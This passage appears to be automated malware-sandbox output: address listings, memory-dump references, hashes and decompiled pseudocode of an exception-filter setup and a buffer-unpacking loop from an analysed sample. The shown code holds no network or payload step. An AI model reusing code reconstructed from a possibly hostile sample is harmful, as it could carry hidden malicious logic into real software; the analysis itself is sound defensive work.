0x00248846
0x0024884d
0x0024884e
0x00248851
0x00248854
0x0024885f
0x0024885f
0x00248862
0x00248869
0x00248869
0x0024886f
0x00248876
0x00248877
0x00248885
0x0024888a
0x0024888c
0x002488c4
0x002488c7
0x002488d3
0x002488d3
0x002488d3
0x002488d6
0x002488d6
0x002488e0
0x002488e5
0x002488e7
0x0024890b
0x0024890b
0x00248912
0x00000000
0x00000000
0x00248914
0x0024891e
0x00248923
0x00248925
0x00248a04
0x00000000
0x00248a04
0x0024892b
0x0024892e
0x00248936
0x0024893c
0x0024893d
0x0024893d
0x0024893f
0x00248948
0x0024894b
0x00248957
0x0024896a
0x00248974
0x00248986
0x0024898b
0x00248992
0x00248a28
0x00248a28
0x00248a2c
0x00248a32
0x00248a37
0x00248a3d
0x00248a42
0x00248a48
0x00248a4f
0x00248a54
0x00248a55
0x00248a57
0x00248aea
0x00248aec
0x00248af1
0x00248af3
0x00248b45
0x00248b48
0x00248b4a
0x00248b6e
0x00248b71
0x00248b71
0x00248b78
0x00248bb0
0x00248bb2
0x0024916f
0x0024916f
0x00249173
0x00249179
0x0024917e
0x00249182
0x00249185
0x00249188
0x0024918a
0x0024918a
0x0024918a
0x0024918a
0x00249190
0x00249190
0x00249194
0x00000000
0x00000000
0x00249196
0x00249198
0x0024860f
0x0024860f
0x00000000
0x0024860f
0x0024919e
0x002491a4
0x002491b2
0x002491b4
0x00000000
0x00000000
0x00000000
0x002491b4
0x002491a6
0x002491a8
0x00000000
0x002491a8
0x00248bb8
0x00248bb8
0x00248bbb
0x00248bc2
0x00248bd4
0x00248bd4
0x00248bd7
0x00248bd9
0x00248c20
0x00248c20
0x00248c24
0x00248c26
0x00248c2e
0x00248c2e
0x00248c42
0x00248c48
0x00248c4e
0x00248c54
0x00248c65
0x00248c7b
0x00248c86
0x00248c8f
0x00248c92
0x00248c99
0x00248c9f
0x00248ca4
0x00248ca7
0x00248ca9
0x00248cac
0x00248caf
0x00248cb2
0x00248cb5
0x00248cb8
0x00248cba
0x00248d5d
0x00248d5d
0x00248d60
0x00248d67
0x00248d6e
0x00248d72
0x00248d88
0x00248d8a
0x00248d8a
0x00248d8b
0x00248d8b
0x00248d8f
0x00248d92
0x00248d95
0x00248d98
0x00248ea4
0x00248eab
0x00248ead
0x00248eb4
0x00248ede
0x00248ee3
0x00248ef5
0x00248efb
0x00248efd
0x00248f03
0x00248f1d
0x00248eb6
0x00248eb6
0x00248ebc
0x00248ec2
0x00248ec3
0x00248ec3
0x00248eb4
0x00248f22
0x00248f24
0x00248f29
0x00248f30
0x00248f62
0x00248f62
0x00248f62
0x00248f64
0x00248f66
0x00248f66
0x00248f6d
0x00248f77
0x00248f7e
0x00248f9d
0x00248f9d
0x00248fa1
0x00248fa4
0x00249005
0x00249005
0x00249009
0x0024900c
0x0024901f
0x0024901f
0x0024901f
0x00249021
0x00249021
0x00249025
0x00000000
0x00000000
0x0024902b
0x0024902e
0x00249032
0x0024903e
0x0024903e
0x00249042
0x0024905d
0x0024905d
0x0024905f
0x00249074
0x00249074
0x00249076
0x0024913a
0x0024913a
0x0024913d
0x00249144
0x0024914c
0x00249153
0x00249158
0x0024915a
0x00249163
0x00249163
0x0024915a
0x00249168
0x00000000
0x00249168
0x0024907c
0x00249081
0x00249083
0x00249086
0x0024908c
0x0024908c
0x0024908e
0x002490a0
0x002490a0
0x002490a6
0x002490ab
0x002490ae
0x002490b4
0x002490c8
0x002490cf
0x002490e2
0x002490e4
0x002490ed
0x002490f2
0x002490f8
0x00249107
0x0024911a
0x0024912d
0x0024912f
0x00249132
0x00249137
0x00000000
0x00249137
0x00249090
0x00249096
0x00000000
0x00000000
0x00249098
0x0024909e
0x00000000
0x00000000
0x00000000
0x0024909e
0x00249088
0x0024908a
0x00000000
0x00000000
0x00000000
0x0024908a
0x00249061
0x00249064
0x0024906b
0x00000000
0x00000000
0x00249071
0x00000000
0x00249071
0x00249044
0x00249046
0x00000000
0x00000000
0x00249048
0x0024904f
0x00000000
0x00000000
0x00249055
0x00249057
0x00000000
0x00000000
0x00000000
0x00249057
0x00249034
0x00249038
0x00000000
0x00000000
0x00000000
0x00249038
0x0024900e
0x00249015
0x00000000
0x00000000
0x00249017
0x00249019
0x00000000
0x00000000
0x0024901b
0x00000000
0x0024901b
0x00248fa6
0x00248faa
0x00000000
0x00000000
0x00248fac
0x00248fae
0x00000000
0x00000000
0x00248fb0
0x00248fb6
0x00248fe0
0x00248fe0
0x00248fea
0x00248feb
0x00248fed
0x00248fed
0x00248ff9
0x00248ffd
0x00249002
0x00000000
0x00249002
0x00248fb8
0x00248fbe
0x00248fc8
0x00248fc8
0x00248fcf
0x00000000
0x00000000
0x00248fd1
0x00248fdb
0x00248fdc
0x00000000
0x00248fdc
0x00248fc0
0x00248fc6
0x00000000
0x00000000
0x00000000
0x00248fc6
0x00248f80
0x00248f86
0x00000000
0x00000000
0x00248f88
0x00248f92
0x00248f92
0x00248f94
0x00248f96
0x00248f96
0x00000000
0x00248f94
0x00248f8a
0x00248f90
0x00000000
0x00000000
0x00000000
0x00248f90
0x00248f6f
0x00000000
0x00248f6f
0x00248f47
0x00248f53
0x00248f58
0x00248f5a
0x00000000
0x00000000
0x00248f5c
0x00248f5e
0x00000000
0x00248f5e
0x00248d9e
0x00248da4
0x00248da7
0x00248e10
0x00248e10
0x00248e15
0x00248e26
0x00248e2b
0x00248e2e
0x00248e30
0x00248e7d
0x00248e7d
0x00248e80
0x00248e80
0x00248e87
0x00248ddc
0x00248ddc
0x00248dde
0x00248e9a
0x00248e9a
0x00248e9a
0x00248e9c
0x00248e9c
0x00000000
0x00248e9c
0x00248de4
0x00248de4
0x00248de6
0x00000000
0x00000000
0x00248dee
0x00000000
0x00248dee
0x00248e8d
0x00248e8f
0x00000000
0x00000000
0x00248dd8
0x00248dd8
0x00000000
0x00248dd8
0x00248e32
0x00248e3a
0x00000000
0x00000000
0x00248e3c
0x00248e42
0x00248e4e
0x00248e4f
0x00248e52
0x00248e60
0x00248e61
0x00248e68
0x00248e54
0x00248e54
0x00248e54
0x00248e6d
0x00248e6d
0x00248e70
0x00248e72
0x00248dd5
0x00248dd5
0x00000000
0x00248dd5
0x00248e78
0x00000000
0x00248e78
0x00248da9
0x00248dac
0x00000000
0x00000000
0x00248dae
0x00248db0
0x00248df4
0x00248df4
0x00248df6
0x00000000
0x00000000
0x00248e02
0x00248e09
0x00000000
0x00248e09
0x00248db2
0x00248db5
0x00000000
0x00000000
0x00248db7
0x00248dba
0x00000000
0x00000000
0x00248dc9
0x00248dce
0x00248dd0
0x00248dd2
0x00000000
0x00248dd2
0x00248d74
0x00248d76
0x00000000
0x00000000
0x00248d7a
0x00248d7b
0x00248d7f
0x00000000
0x00000000
0x00248d83
0x00248d84
0x00000000
0x00248d84
0x00248cc0
0x00248cc6
0x00000000
0x00000000
0x00248ccc
0x00248cd2
0x00248cd8
0x00248cda
0x00248d5a
0x00248d5a
0x00000000
0x00248d5a
0x00248cdc
0x00248ce6
0x00248ce6
0x00248cf6
0x00248cf9
0x00248cfb
0x00248d55
0x00248d55
0x00248d58
0x00248d58
0x00000000
0x00248d58
0x00248cfd
0x00248d03
0x00248d05
0x00248d07
0x00248d2c
0x00248d32
0x00248d3e
0x00248d49
0x00248d52
0x00000000
0x00248d52
0x00248d09
0x00248d13
0x00248d15
0x00248d1a
0x00248d20
0x00000000
0x00000000
0x00248d22
0x00000000
0x00000000
0x00248d24
0x00248d2a
0x00000000
0x00000000
0x00000000
0x00248d2a
0x00248d0b
0x00248d11
0x00000000
0x00000000
0x00000000
0x00248d11
0x00248cff
0x00248d01
0x00000000
0x00000000
0x00000000
0x00248d01
0x00248cde
0x00248ce4
0x00000000
0x00000000
0x00000000
0x00248ce4
0x00248c28
0x00248c28
0x00248c28
0x00248c28
0x00000000
0x00248c28
0x00248bdf
0x00248be2
0x00248be3
0x00248be6
0x00248be8
0x00248bf3
0x00248bf5
0x00248c04
0x00248c16
0x00248c16
0x00248bf5
0x00000000
0x00248be6
0x00248bc4
0x00248bcb
0x00248bd2
0x00248c1d
0x00000000
0x00248c1d
0x00000000
0x00248bd2
0x00248b7e
0x00248b81
0x00248b88
0x00248b8f
0x00248b94
0x00248b96
0x00000000
0x00000000
0x00248b98
0x00248b9a
0x00248b9d
0x00248b9d
0x00248ba3
0x00248ba8
0x00000000
0x00248ba8
0x00248b4c
0x00248b55
0x00248b56
0x00248b5b
0x00248b5e
0x00248b60
0x00248b68
0x00248b68
0x00248b6a
0x00000000
0x00000000
0x00000000
0x00248b6c
0x00248af5
0x00248af9
0x00248aff
0x00248b02
0x00248b06
0x00248b0e
0x00248b0f
0x00248b12
0x00248b1a
0x00248b1b
0x00248b1e
0x00248b20
0x00248b26
0x00248b2c
0x00248b2e
0x00248b34
0x00248b3b
0x00248b3e
0x00248b3e
0x00248b2c
0x00248b1e
0x00248b12
0x00248b06
0x00000000
0x00248af9
0x00248a5d
0x00248a60
0x00000000
0x00000000
0x00248a66
0x00248a69
0x00248a6c
0x00248a6e
0x00000000
0x00000000
0x00248a74
0x00248a77
0x00000000
0x00000000
0x00248a7d
0x00248a80
0x00248a87
0x00000000
0x00000000
0x00248a8f
0x00248a99
0x00248a9e
0x00248aa0
0x00248ad7
0x00248ad7
0x00248adb
0x00248b65
0x00000000
0x00248b65
0x00248ae1
0x00248ae3
0x00248ae5
0x00000000
0x00248ae5
0x00248aa2
0x00248aa6
0x00000000
0x00000000
0x00248aa8
0x00248ab0
0x00248ab1
0x00248ab8
0x00248ad2
0x00000000
0x00248ad2
0x00248998
0x0024899f
0x00000000
0x00000000
0x002489a7
0x002489b2
0x002489b7
0x002489ba
0x002489bc
0x00000000
0x00000000
0x002489be
0x002489c5
0x00000000
0x00000000
0x002489c7
0x002489ce
0x002489d8
0x002489d9
0x00248a10
0x00248a12
0x00248a1e
0x00248a23
0x00248a25
0x00000000
0x00248a25
0x002489db
0x002489dd
0x002489eb
0x002489f0
0x002489f4
0x002489fa
0x002489fa
0x0024890b
0x002488f0
0x002488f7
0x002488fc
0x00248903
0x00000000
0x00248903
0x00248895
0x0024889b
0x002488a0
0x002488a2
0x00000000
0x00000000
0x002488a4
0x002488ab
0x002488bd
0x002488bf
0x00000000
0x002488bf
0x002488ae
0x002488b4
0x002488b9
0x002488bb
0x00000000
0x00000000
0x00000000
0x002488bb
0x00248864
0x00248867
0x00000000
0x00000000
0x00000000
0x00248867
0x00248856
0x0024885d
0x00000000
0x00000000
0x00000000
0x0024885d
0x00248826
0x0024882d
0x00000000
0x00000000
0x0024882f
0x00248833
0x00248839
0x00000000
0x00000000
0x00000000
0x00248839
0x002487d7
0x002487da
0x002487dc
0x00000000
0x00000000
0x00000000
0x002487dc
0x002487ae
0x002487b4
0x002487b7
0x002487ba
0x002487bc
0x00000000
0x002487c2
0x002487c2
0x002487c2
0x00000000
0x002487c2
0x002487bc
0x00248677
0x0024867d
0x00000000
0x00000000
0x0024867f
0x00248686
0x00000000
0x00000000
0x00000000
0x00248686
0x00248650
0x0024865a
0x0024865a
0x00248660
0x00000000
0x00248660
0x00248652
0x00248658
0x00000000
0x00000000
0x00000000
0x00248658
0x00248632
0x0024863c
0x0024863c
0x00248642
0x00000000
0x00248642
0x00248634
0x0024863a
0x00000000
0x00000000
0x00000000
0x0024863a
0x00248591
0x00248594
0x002485b3
0x002485b3
0x002485b6
0x00000000
0x00000000
0x002485bc
0x002485c3
0x00000000
0x00000000
0x002485ce
0x002485cf
0x002485d3
0x002485d4
0x002485d5
0x002485da
0x002485dc
0x002485f1
0x00248605
0x0024860d
0x00000000
0x002485de
0x002485e5
0x00000000
0x002485e5
0x002485dc
0x00248596
0x0024859d
0x00000000
0x002485a3
0x002485ae
0x00000000
0x002485ae
0x0024859d
0x0024855a
0x00248578
0x00248578
0x00000000
0x00248578
0x0024855c
0x0024855d
0x00248561
0x00248562
0x0024856a
0x0024857f
0x0024857f
0x00000000
0x0024856c
0x00248573
0x00000000
0x00248573

APIs

__EH_prolog.LIBCMT ref: 0024852A
_memcmp.LIBVCRUNTIME ref: 002489B2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: c57ab38659e3fb909fc5e46a91ad9ecf7b75daf741440a5f21d56d1de46337e3
Instruction ID: f5a35071f76980b0e8d9c81ffd5fee2545d7ae49e2c041a3f2706779e286d25e
Opcode Fuzzy Hash: c57ab38659e3fb909fc5e46a91ad9ecf7b75daf741440a5f21d56d1de46337e3
Instruction Fuzzy Hash: B2820970934146AEDF1DDF64C885BFEB7B9BF15300F0840BAE9499B142DB315AA8CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0025EEB3 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0025EEB3() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0025EEC0); // executed
				return _t1;
			}

0x0025eeb8
0x0025eebe

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0001EEC0,0025E905), ref: 0025EEB8

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0600ab3675cc90f2bc910d9cc88169b4fcdb34a091d2f772991b47dcf9902b5c
Instruction ID: 683646ebfc2ad96b04e14162e3aa309c20c4e17af4c9b57c6670743c028c1dd7
Opcode Fuzzy Hash: 0600ab3675cc90f2bc910d9cc88169b4fcdb34a091d2f772991b47dcf9902b5c
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 002565B6 Relevance: .3, Instructions: 325
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E002565B6(signed int __ecx, void* __edx, void* __eflags) {
				void* __ebp;
				signed int _t161;
				intOrPtr _t164;
				signed int _t170;
				signed int _t171;
				signed int _t175;
				signed int _t178;
				void* _t181;
				void* _t188;
				signed int _t193;
				signed int _t194;
				signed int _t195;
				signed int _t197;
				signed int _t208;
				signed int _t212;
				intOrPtr _t213;
				signed int _t216;
				signed int _t219;
				signed int _t223;
				signed int _t225;
				signed int _t226;
				intOrPtr* _t232;
				void* _t238;
				signed int _t240;
				signed int _t241;
				intOrPtr _t245;
				intOrPtr _t247;
				signed int _t257;
				intOrPtr* _t259;
				signed int _t260;
				signed int _t263;
				intOrPtr* _t267;
				intOrPtr _t268;
				void* _t269;
				signed int _t270;
				void* _t272;
				signed int _t273;
				void* _t274;
				void* _t276;

				_t216 = __ecx; // executed
				E00252DDD(__ecx, __edx); // executed
				E00254621(__ecx,  *((intOrPtr*)(_t274 + 0x238)));
				_t240 = 0;
				if( *(_t216 + 0x1c) +  *(_t216 + 0x1c) != 0) {
					_t238 = 0;
					do {
						_t213 =  *((intOrPtr*)(_t216 + 0x18));
						_t238 = _t238 + 0x4ae4;
						_t240 = _t240 + 1;
						 *((char*)(_t213 + _t238 - 0x13)) = 0;
						 *((char*)(_t213 + _t238 - 0x11)) = 0;
					} while (_t240 <  *(_t216 + 0x1c) +  *(_t216 + 0x1c));
				}
				_t219 = 5;
				memcpy( *((intOrPtr*)(_t216 + 0x18)) + 0x18, _t216 + 0x8c, _t219 << 2);
				E0025F300( *((intOrPtr*)(_t216 + 0x18)) + 0x30, _t216 + 0xa0, 0x4a9c);
				_t276 = _t274 + 0x18;
				_t263 = 0;
				 *(_t276 + 0x28) = 0;
				_t268 = 0;
				 *((char*)(_t276 + 0x13)) = 0;
				 *((intOrPtr*)(_t276 + 0x18)) = 0;
				 *((char*)(_t276 + 0x12)) = 0;
				while(1) {
					L4:
					_t161 = E0024C9AC( *_t216,  *((intOrPtr*)(_t216 + 0x20)) + _t263, 0x00400000 - _t263 & 0xfffffff0);
					 *(_t276 + 0x2c) = _t161;
					if(_t161 < 0) {
						break;
					}
					_t263 = _t263 + _t161;
					 *(_t276 + 0x20) = _t263;
					if(_t263 != 0) {
						if(_t161 <= 0) {
							goto L56;
						} else {
							if(_t263 >= 0x400) {
								L56:
								while(_t268 < _t263) {
									_t225 = 0;
									 *(_t276 + 0x14) =  *(_t276 + 0x14) & 0;
									 *(_t276 + 0x1c) = 0;
									_t170 =  *(_t216 + 0x1c) +  *(_t216 + 0x1c);
									__eflags = _t170;
									if(_t170 != 0) {
										_t245 =  *((intOrPtr*)(_t276 + 0x18));
										_t273 = 0;
										__eflags = 0;
										do {
											_t259 =  *((intOrPtr*)(_t216 + 0x18)) + _t273;
											 *(_t276 + 0x28) = _t225;
											__eflags =  *((char*)(_t259 + 0x4ad3));
											 *_t259 = _t216;
											if( *((char*)(_t259 + 0x4ad3)) == 0) {
												E0024A6FD(_t259 + 4,  *((intOrPtr*)(_t216 + 0x20)) + _t245);
												_t263 =  *(_t276 + 0x20);
												 *((intOrPtr*)(_t259 + 8)) = 0;
												_t170 = _t263 -  *((intOrPtr*)(_t276 + 0x18));
												__eflags = _t170;
												 *((intOrPtr*)(_t259 + 4)) = 0;
												 *(_t259 + 0x4acc) = _t170;
												if(_t170 != 0) {
													 *((char*)(_t259 + 0x4ad0)) = 0;
													 *((char*)(_t259 + 0x14)) = 0;
													 *((char*)(_t259 + 0x2c)) = 0;
													_t225 =  *(_t276 + 0x1c);
													goto L15;
												}
											} else {
												 *(_t259 + 0x4acc) = _t263;
												L15:
												__eflags =  *(_t276 + 0x2c);
												 *((char*)(_t259 + 0x4ad3)) = 0;
												 *(_t259 + 0x4ae0) = _t225;
												__eflags =  *((char*)(_t259 + 0x14));
												 *((char*)(_t259 + 0x4ad2)) = _t170 & 0xffffff00 |  *(_t276 + 0x2c) == 0x00000000;
												if( *((char*)(_t259 + 0x14)) != 0) {
													L20:
													__eflags =  *((char*)(_t276 + 0x13));
													if( *((char*)(_t276 + 0x13)) != 0) {
														L23:
														 *((char*)(_t259 + 0x4ad1)) = 1;
														 *((char*)(_t276 + 0x13)) = 1;
													} else {
														__eflags =  *((intOrPtr*)(_t259 + 0x18)) - 0x20000;
														if( *((intOrPtr*)(_t259 + 0x18)) > 0x20000) {
															goto L23;
														} else {
															 *(_t276 + 0x14) =  *(_t276 + 0x14) + 1;
														}
													}
													_t273 = _t273 + 0x4ae4;
													_t245 =  *((intOrPtr*)(_t276 + 0x18)) +  *((intOrPtr*)(_t259 + 0x24)) +  *((intOrPtr*)(_t259 + 0x18));
													_t225 = _t225 + 1;
													 *((intOrPtr*)(_t276 + 0x18)) = _t245;
													_t208 = _t263 - _t245;
													__eflags = _t208;
													 *(_t276 + 0x1c) = _t225;
													if(_t208 < 0) {
														L26:
														__eflags = _t208 - 0x400;
														if(_t208 >= 0x400) {
															goto L27;
														}
													} else {
														__eflags =  *((char*)(_t259 + 0x28));
														if( *((char*)(_t259 + 0x28)) == 0) {
															goto L26;
														}
													}
												} else {
													 *((char*)(_t259 + 0x14)) = 1;
													_push(_t259 + 0x18);
													_push(_t259 + 4);
													_t212 = E00253731(_t216);
													__eflags = _t212;
													if(_t212 == 0) {
														L29:
														 *((char*)(_t276 + 0x12)) = 1;
													} else {
														__eflags =  *((char*)(_t259 + 0x29));
														if( *((char*)(_t259 + 0x29)) != 0) {
															L19:
															_t225 =  *(_t276 + 0x1c);
															 *((char*)(_t216 + 0xe662)) = 1;
															goto L20;
														} else {
															__eflags =  *((char*)(_t216 + 0xe662));
															if( *((char*)(_t216 + 0xe662)) == 0) {
																goto L29;
															} else {
																goto L19;
															}
														}
													}
												}
											}
											goto L30;
											L27:
											_t170 =  *(_t216 + 0x1c) +  *(_t216 + 0x1c);
											__eflags = _t225 - _t170;
										} while (_t225 < _t170);
									}
									L30:
									_t226 =  *(_t276 + 0x14);
									_t171 = _t226;
									_t257 = _t171 /  *(_t216 + 0x1c);
									__eflags = _t171 %  *(_t216 + 0x1c);
									if(_t171 %  *(_t216 + 0x1c) != 0) {
										_t257 = _t257 + 1;
										__eflags = _t257;
									}
									_t269 = 0;
									__eflags = _t226;
									if(_t226 != 0) {
										_t247 = 0;
										_t267 = _t276 + 0x34;
										_t195 = _t257 * 0x4ae4;
										__eflags = _t195;
										 *((intOrPtr*)(_t276 + 0x24)) = 0;
										 *(_t276 + 0x30) = _t195;
										do {
											_t232 = _t267;
											_t248 = _t247 +  *((intOrPtr*)(_t216 + 0x18));
											_t197 =  *(_t276 + 0x14) - _t269;
											_t267 = _t267 + 8;
											 *_t232 = _t247 +  *((intOrPtr*)(_t216 + 0x18));
											__eflags = _t257 - _t197;
											if(_t257 < _t197) {
												_t197 = _t257;
											}
											__eflags =  *(_t276 + 0x1c) - 1;
											 *(_t232 + 4) = _t197;
											if( *(_t276 + 0x1c) != 1) {
												E0025074F( *((intOrPtr*)(_t216 + 0x14)), E00257000, _t232);
											} else {
												E002569EB(_t216, _t248);
											}
											_t269 = _t269 + _t257;
											_t247 =  *((intOrPtr*)(_t276 + 0x24)) +  *(_t276 + 0x30);
											 *((intOrPtr*)(_t276 + 0x24)) = _t247;
											__eflags = _t269 -  *(_t276 + 0x14);
										} while (_t269 <  *(_t276 + 0x14));
										_t263 =  *(_t276 + 0x20);
									}
									_t270 =  *(_t276 + 0x1c);
									__eflags = _t270;
									if(_t270 == 0) {
										_t268 =  *((intOrPtr*)(_t276 + 0x18));
										goto L68;
									} else {
										E002509A1( *((intOrPtr*)(_t216 + 0x14)));
										 *(_t276 + 0x14) = 0;
										__eflags = _t270;
										if(_t270 == 0) {
											L52:
											_t175 =  *((intOrPtr*)(_t276 + 0x12));
											goto L53;
										} else {
											_t260 = 0;
											__eflags = 0;
											do {
												_t272 =  *((intOrPtr*)(_t216 + 0x18)) + _t260;
												__eflags =  *((char*)(_t272 + 0x4ad1));
												if( *((char*)(_t272 + 0x4ad1)) != 0) {
													L47:
													_t178 = E0025702F(_t216, _t272);
													__eflags = _t178;
													if(_t178 != 0) {
														goto L48;
													}
												} else {
													_t194 = E0025318A(_t216, _t272);
													__eflags = _t194;
													if(_t194 != 0) {
														__eflags =  *((char*)(_t272 + 0x4ad1));
														if( *((char*)(_t272 + 0x4ad1)) == 0) {
															L48:
															__eflags =  *((char*)(_t272 + 0x4ad0));
															if( *((char*)(_t272 + 0x4ad0)) == 0) {
																__eflags =  *((char*)(_t272 + 0x4ad3));
																if( *((char*)(_t272 + 0x4ad3)) != 0) {
																	_t230 =  *((intOrPtr*)(_t216 + 0x20));
																	_t181 =  *((intOrPtr*)(_t272 + 0x10)) -  *((intOrPtr*)(_t216 + 0x20)) +  *(_t272 + 4);
																	__eflags = _t263 - _t181;
																	if(_t263 > _t181) {
																		_t263 = _t263 - _t181;
																		 *(_t276 + 0x2c) = _t263;
																		E002616C0(_t230, _t181 + _t230, _t263);
																		_t276 = _t276 + 0xc;
																		 *((intOrPtr*)(_t272 + 0x18)) =  *((intOrPtr*)(_t272 + 0x18)) +  *(_t272 + 0x20) -  *(_t272 + 4);
																		 *(_t272 + 0x24) =  *(_t272 + 0x24) & 0x00000000;
																		 *(_t272 + 0x20) =  *(_t272 + 0x20) & 0x00000000;
																		 *(_t272 + 4) =  *(_t272 + 4) & 0x00000000;
																		 *((intOrPtr*)(_t272 + 0x10)) =  *((intOrPtr*)(_t216 + 0x20));
																		__eflags =  *(_t276 + 0x14);
																		if( *(_t276 + 0x14) != 0) {
																			_t188 =  *((intOrPtr*)(_t216 + 0x18));
																			E0025F300(_t188, _t272, 0x4ae4);
																			 *((intOrPtr*)( *((intOrPtr*)(_t216 + 0x18)) + 0x4ad4)) =  *((intOrPtr*)(_t188 + 0x4ad4));
																			_t263 =  *(_t276 + 0x2c);
																			 *((intOrPtr*)( *((intOrPtr*)(_t216 + 0x18)) + 0x4adc)) =  *((intOrPtr*)(_t188 + 0x4adc));
																			 *((char*)(_t272 + 0x4ad3)) = 0;
																			goto L62;
																		}
																		goto L63;
																	}
																} else {
																	__eflags =  *((char*)(_t272 + 0x28));
																	if( *((char*)(_t272 + 0x28)) != 0) {
																		_t175 = 1;
																		 *((char*)(_t276 + 0x12)) = 1;
																		L53:
																		__eflags = _t175;
																		if(_t175 == 0) {
																			_t268 =  *((intOrPtr*)(_t276 + 0x18));
																			_t263 = _t263 - _t268;
																			__eflags = _t263 - 0x400;
																			if(_t263 < 0x400) {
																				__eflags = _t263;
																				if(__eflags >= 0) {
																					if(__eflags <= 0) {
																						L63:
																						_t268 = 0;
																						 *((intOrPtr*)(_t276 + 0x18)) = 0;
																						L68:
																						__eflags =  *((char*)(_t276 + 0x12));
																						if( *((char*)(_t276 + 0x12)) == 0) {
																							goto L4;
																						}
																					} else {
																						E002616C0( *((intOrPtr*)(_t216 + 0x20)),  *((intOrPtr*)(_t216 + 0x20)) + _t268, _t263);
																						L62:
																						_t276 = _t276 + 0xc;
																						goto L63;
																					}
																				}
																			} else {
																				_t263 =  *(_t276 + 0x20);
																				goto L56;
																			}
																		}
																	} else {
																		goto L51;
																	}
																}
															}
														} else {
															goto L47;
														}
													}
												}
												goto L69;
												L51:
												_t260 = _t260 + 0x4ae4;
												_t193 =  *(_t276 + 0x14) + 1;
												 *(_t276 + 0x14) = _t193;
												__eflags = _t193 -  *(_t276 + 0x1c);
											} while (_t193 <  *(_t276 + 0x1c));
											goto L52;
										}
									}
									goto L69;
								}
							}
							continue;
						}
					}
					break;
				}
				L69:
				 *(_t216 + 0x7c) =  *(_t216 + 0x7c) &  *(_t216 + 0xe6dc);
				E00254B23(_t216);
				_t241 =  *(_t276 + 0x28) * 0x4ae4;
				_t164 =  *((intOrPtr*)(_t216 + 0x18));
				_t223 = 5;
				__eflags = _t164 + _t241 + 0x30;
				return E0025F300(memcpy(_t216 + 0x8c, _t241 + 0x18 + _t164, _t223 << 2), _t164 + _t241 + 0x30, 0x4a9c);
			}

0x002565c0
0x002565c2
0x002565d0
0x002565d8
0x002565dc
0x002565de
0x002565e0
0x002565e0
0x002565e3
0x002565e9
0x002565ea
0x002565ef
0x002565f9
0x002565e0
0x00256608
0x00256618
0x00256621
0x00256628
0x0025662b
0x0025662d
0x00256631
0x00256633
0x00256637
0x0025663b
0x0025663f
0x0025663f
0x00256652
0x00256657
0x0025665d
0x00000000
0x00000000
0x00256663
0x00256665
0x00256669
0x00256671
0x00000000
0x00256677
0x0025667d
0x00000000
0x002568d3
0x00256687
0x00256689
0x0025668d
0x00256691
0x00256691
0x00256693
0x00256699
0x0025669d
0x0025669d
0x0025669f
0x002566a2
0x002566a4
0x002566a8
0x002566af
0x002566b1
0x002566c4
0x002566c9
0x002566d1
0x002566d4
0x002566d4
0x002566d8
0x002566db
0x002566e1
0x002566e7
0x002566ed
0x002566f0
0x002566f3
0x00000000
0x002566f3
0x002566b3
0x002566b3
0x002566f7
0x002566f7
0x002566fc
0x00256706
0x0025670c
0x00256710
0x00256716
0x00256749
0x00256749
0x0025674e
0x0025675f
0x0025675f
0x00256766
0x00256750
0x00256750
0x00256757
0x00000000
0x00256759
0x00256759
0x00256759
0x00256757
0x0025676e
0x0025677b
0x0025677d
0x00256780
0x00256784
0x00256784
0x00256786
0x0025678a
0x00256792
0x00256792
0x00256797
0x00000000
0x00000000
0x0025678c
0x0025678c
0x00256790
0x00000000
0x00000000
0x00256790
0x00256718
0x0025671b
0x0025671f
0x00256725
0x00256726
0x0025672b
0x0025672d
0x002567a8
0x002567a8
0x0025672f
0x0025672f
0x00256733
0x0025673e
0x0025673e
0x00256742
0x00000000
0x00256735
0x00256735
0x0025673c
0x00000000
0x00000000
0x00000000
0x00000000
0x0025673c
0x00256733
0x0025672d
0x00256716
0x00000000
0x00256799
0x0025679c
0x0025679e
0x0025679e
0x002567a6
0x002567ad
0x002567ad
0x002567b3
0x002567b8
0x002567ba
0x002567bc
0x002567be
0x002567be
0x002567be
0x002567bf
0x002567c1
0x002567c3
0x002567c5
0x002567c7
0x002567cb
0x002567cb
0x002567d1
0x002567d5
0x002567d9
0x002567dd
0x002567df
0x002567e2
0x002567e4
0x002567e7
0x002567e9
0x002567eb
0x002567ed
0x002567ed
0x002567ef
